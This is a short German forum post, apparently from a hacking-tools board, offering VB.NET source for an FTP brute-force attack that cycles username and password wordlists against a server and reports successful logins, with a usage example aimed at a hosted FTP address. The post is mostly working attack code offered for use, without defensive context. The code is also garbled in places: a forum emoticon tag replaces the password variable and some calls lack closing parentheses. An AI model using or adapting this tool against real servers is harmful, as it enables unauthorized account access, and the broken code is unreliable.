Hier mal ein Code für eine simple Ftp Bruteforce/Wordlist Attacke:
Class FtpBrute Private Structure Connection Public Wr As StreamWriter Public Re As StreamReader Public Sub New(wrp As StreamWriter, rep As StreamReader) Me.Wr = wrp Me.Re = rep End Sub End Structure Public Sub StartBruteForce(Host As String, NicklistPat As String, PasslistPat As String) Dim connection As Connection = FtpConnect(Host) Dim response As String = String.Empty Dim i As Integer = 0 For Each a As String In GetStrings(NicklistPat) For Each b As String In GetStrings(PasslistPat) 'If i Mod 3 = 0 Then connection = FtpConnect(Host) Diese Zeile müsst ihr ggf nutzen. connection.Wr.WriteLine(String.Concat("user ", a)) response = connection.Re.ReadLine() connection.Wr.WriteLine(String.Concat("pass ", <img src='http://www.toolbase.bz/board/public/style_emoticons/<#EMO_DIR#>/_0011_8_.png' class='bbc_emoticon' alt='B)' />) response = connection.Re.ReadLine() i += 1 Console.WriteLine(String.Concat(">> Trying ", a, " with pass ", b ) If response.StartsWith("230") Then Console.WriteLine(String.Concat("Successfull! ", a, " ", b ) Exit For End If Next Next End Sub Private Function FtpConnect(host As String) As Connection Dim client As New TcpClient(host, 21) Dim connection As NetworkStream = client.GetStream() Dim writer As New StreamWriter(connection) Dim reader As New StreamReader(connection) writer.AutoFlush = True Dim response As String = reader.ReadLine() Return New Connection(writer, reader) End Function Private Iterator Function GetStrings(Pat As String) As IEnumerable(Of String) Dim fs As FileStream = File.Open(Pat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) Using sw As StreamReader = New StreamReader(fs, Encoding.UTF8) While Not sw.EndOfStream Yield sw.ReadLine End While End Using End Function End Class
Aufrufbeispiel:
Sub Main() Doit() Console.ReadKey() End Sub Private Sub Doit() Dim PatAcc As String = "Nicknames.txt" Dim PatPasses As String = "Passwords.txt" Dim k As New FtpBrute k.StartBruteForce("deinftpbplaced.net", PatAcc, PatPasses) End Sub
Bearbeitet von <Kevin>, 19 October 2014 - 12:00 Uhr.